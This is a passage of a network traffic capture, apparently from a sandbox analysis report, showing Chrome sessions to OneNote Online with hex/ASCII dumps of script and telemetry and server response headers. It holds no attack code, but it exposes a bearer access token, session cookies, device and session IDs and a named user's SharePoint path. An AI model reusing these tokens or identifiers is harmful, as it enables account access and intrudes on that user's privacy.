2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 69 73 54 77 6f 53 74 65 70 43 72 65 61 74 65 4e 65 77 26 26 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 50 72 6f 6d 69 73 65 29 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 50 72 6f 6d 69 73 65 2e 74 68 65 6e 28 28 74 3d 3e 7b 74 3f 68 28 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 2c 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 49 6e 66 6f 29 3a 4d 3f 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 30 37 37 37 38 33 32 32 2c 64 2e 6e 2e 54 6e 2c 66 2e 6b 2e 57 61 72 6e 69 6e 67 2c 22 4f 66 66 69 63 65 20 62 6f 6f 74 73 74 72 61 70 70 65 72 20 66 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 20 32 2d 73 74 65 70 20 63 72 65 61 74 65 20 6e 65 77 2c 20 63 68 65 63 6b 20 70 72 65 76 69 6f 75 73 20 6c 6f 67 Data Ascii: isTwoStepCreateNew&&l.W.bootstrapperLoadPromise)l.W.bootstrapperLoadPromise.then((t=>{t?h(l.W.bootstrapper,l.W.bootstrapperInfo):M?.ULS.sendTraceTag(507778322,d.n.Tn,f.k.Warning,"Office bootstrapper failed to load for 2-step create new, check previous log
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 6c 65 74 65 64 3a 72 65 74 75 72 6e 20 72 2e 59 2e 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 43 6f 6d 70 6c 65 74 65 46 69 6c 65 50 69 63 6b 65 72 3a 72 65 74 75 72 6e 20 72 2e 59 2e 63 6f 6d 70 6c 65 74 65 53 68 61 72 65 64 46 69 6c 65 50 69 63 6b 65 72 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 65 6e 64 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3a 72 65 74 75 72 6e 20 72 2e 59 2e 73 65 6e 64 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 65 74 44 61 76 55 72 6c 46 72 6f 6d 49 64 73 3a 72 65 74 75 72 6e 20 72 2e 59 2e 73 65 6e 64 44 61 76 55 72 6c 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f Data Ascii: leted:return r.Y.moveToFolder;case s.Ph.PostMessage_CompleteFilePicker:return r.Y.completeSharedFilePicker;case s.Ph.PostMessage_SendCustomAuthConfig:return r.Y.sendCustomAuthConfig;case s.Ph.PostMessage_SetDavUrlFromIds:return r.Y.sendDavUrl;case s.Ph.Po
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 7b 66 2e 6d 6f 2e 72 65 73 6f 6c 76 65 3d 74 2c 66 2e 6d 6f 2e 72 65 6a 65 63 74 3d 65 7d 29 29 7d 2c 39 33 35 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 65 2c 7b 54 58 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 2c 77 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 79 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 6e 3d 69 28 38 38 31 29 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 21 28 21 74 7c 7c 21 74 2e 66 61 69 6c 75 72 65 29 26 26 22 54 79 70 65 45 72 72 6f 72 3a 20 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 22 3d 3d 3d 74 2e 66 61 69 6c 75 72 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 Data Ascii: {f.mo.resolve=t,f.mo.reject=e}))},9358:function(t,e,i){"use strict";i.d(e,{TX:function(){return o},wA:function(){return s},yC:function(){return r}});var n=i(881);function o(t){return!(!t\|\|!t.failure)&&"TypeError: Failed to fetch"===t.failure}function s(t)
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 64 64 36 22 2c 36 39 31 34 3a 22 33 63 35 62 61 33 34 39 35 33 32 61 64 33 39 38 34 63 31 32 22 2c 37 30 36 33 3a 22 63 39 62 34 38 32 61 34 31 38 34 64 33 63 61 30 37 30 32 31 22 2c 37 31 37 31 3a 22 63 63 64 64 38 35 62 35 36 61 65 30 63 62 63 66 36 66 32 62 22 2c 37 32 30 37 3a 22 35 32 61 34 64 65 64 32 66 39 34 63 30 61 66 38 35 31 37 63 22 2c 37 32 33 34 3a 22 32 64 33 63 63 64 39 62 34 61 61 32 38 30 61 30 61 36 36 31 22 2c 37 32 39 31 3a 22 31 61 37 36 63 37 64 32 35 65 34 35 39 62 62 30 64 39 63 61 22 2c 37 34 37 39 3a 22 34 64 33 34 62 30 30 65 61 36 35 38 36 34 33 33 37 35 32 38 22 2c 37 37 31 37 3a 22 38 62 38 64 34 64 62 36 66 32 30 61 38 61 31 30 32 34 33 66 22 2c 37 37 36 31 3a 22 30 66 37 63 38 37 63 38 36 38 39 32 38 33 38 36 35 61 33 65 Data Ascii: dd6",6914:"3c5ba349532ad3984c12",7063:"c9b482a4184d3ca07021",7171:"ccdd85b56ae0cbcf6f2b",7207:"52a4ded2f94c0af8517c",7234:"2d3ccd9b4aa280a0a661",7291:"1a76c7d25e459bb0d9ca",7479:"4d34b00ea65864337528",7717:"8b8d4db6f20a8a10243f",7761:"0f7c87c8689283865a3e
2024-07-16 11:07:50 UTC	6	IN	Data Raw: 74 54 69 6d 65 6f Data Ascii: tTimeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50085	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:53 UTC	3656	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 26899 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:53 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 34 31 34 35 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 33 37 37 35 34 35 30 30 2c 22 54 22 3a 31 39 33 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 20 28 69 6e 69 74 69 61 6c 69 7a 69 6e 67 20 66 69 72 73 74 29 20 56 4e 65 78 74 53 74 79 6c 65 73 4f 6e 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 36 38 31 31 31 2c 22 54 22 3a 31 39 33 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 37 35 34 35 30 30 2c 22 54 22 3a 31 39 33 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 20 28 69 6e 69 74 69 61 6c 69 7a 69 6e 67 Data Ascii: {"T":1721128041452,"L":[{"G":37754500,"T":193,"M":"SIFB: LogActivity (initializing first) VNextStylesOn","C":356,"D":50},{"G":50668111,"T":193,"M":"Using floodgate latest version ","C":356,"D":50},{"G":37754500,"T":193,"M":"SIFB: LogActivity (initializing
2024-07-16 11:07:53 UTC	10515	OUT	Data Raw: 5c 22 3a 5c 22 30 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 30 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 5c 22 32 35 38 37 36 2e 39 5c 22 2c 5c 22 44 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 30 5c 22 2c 5c 22 45 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 30 5c 22 2c 5c 22 54 72 61 6e 73 66 65 72 53 69 7a 65 5c 22 3a 5c 22 30 5c 22 2c 5c 22 72 65 73 70 6f 6e 73 65 53 74 61 74 75 73 5c 22 3a 5c Data Ascii: \":\"0\",\"ConnectStart\":\"0\",\"ConnectEnd\":\"0\",\"SecureConnectionStart\":\"0\",\"RequestStart\":\"0\",\"ResponseStart\":\"0\",\"ResponseEnd\":\"25876.9\",\"DecodedBodySize\":\"0\",\"EncodedBodySize\":\"0\",\"TransferSize\":\"0\",\"responseStatus\":\
2024-07-16 11:07:53 UTC	1666	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7d19e2e7-040c-4fe7-bc37-c1baffb97509 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783D X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EBF619B821A8468784FC31ACCF536C5E Ref B: EWR311000107053 Ref C: 2024-07-16T11:07:53Z Date: Tue, 16 Jul 2024 11:07:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50086	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:54 UTC	671	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:54 UTC	4447	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 35681ab7-e242-408f-88a7-60f4ccc9bee5 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017834 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017834 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 5078AF0A7F104256B9DD7E148A49305D Ref B: BL2AA2030101007 Ref C: 2024-07-16T11:07:54Z Date: Tue, 16 Jul 2024 11:07:54 GMT Connection: close
2024-07-16 11:07:54 UTC	870	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int
2024-07-16 11:07:54 UTC	338	IN	Data Raw: 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 35 30 30 20 2d 20 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 72 65 20 69 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: elative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>500 - Internal server error.</h2> <h3>There is a problem with the resource you are looking fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50090	52.108.10.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:55 UTC	1072	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 379 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:55 UTC	379	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 35 33 36 33 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 31 34 31 38 31 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 41 70 70 5f 53 65 74 57 61 63 46 6c 69 67 68 74 56 61 6c 75 65 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 34 33 31 33 33 2c 22 54 22 3a 31 34 31 38 31 2c 22 4d 22 3a 22 73 74 6f 72 65 57 61 63 46 6c 69 67 68 74 4b 65 79 56 61 6c 75 65 20 4d 73 61 6c 56 33 44 6f 77 6e 6c 6f 61 64 45 6e 61 62 6c 65 64 3a 20 74 72 75 65 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 39 38 38 33 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c Data Ascii: {"T":1721128053631,"L":[{"G":596464288,"T":14181,"M":"Processing message: App_SetWacFlightValue","C":379,"D":50},{"G":507343133,"T":14181,"M":"storeWacFlightKeyValue MsalV3DownloadEnabled: true","C":3027,"D":50},{"G":595957843,"T":19883,"M":"Page lifecycl
2024-07-16 11:07:55 UTC	4579	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 64dde0ad-91b0-47ad-8ae8-de209e04c8da X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF0001181D X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF0001181D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: DA62DA39F4E449DCB1FF10740C6621F2 Ref B: BL2AA2010201045 Ref C: 2024-07-16T11:07:55Z Date: Tue, 16 Jul 2024 11:07:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50089	52.108.10.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:55 UTC	1072	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 186 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; 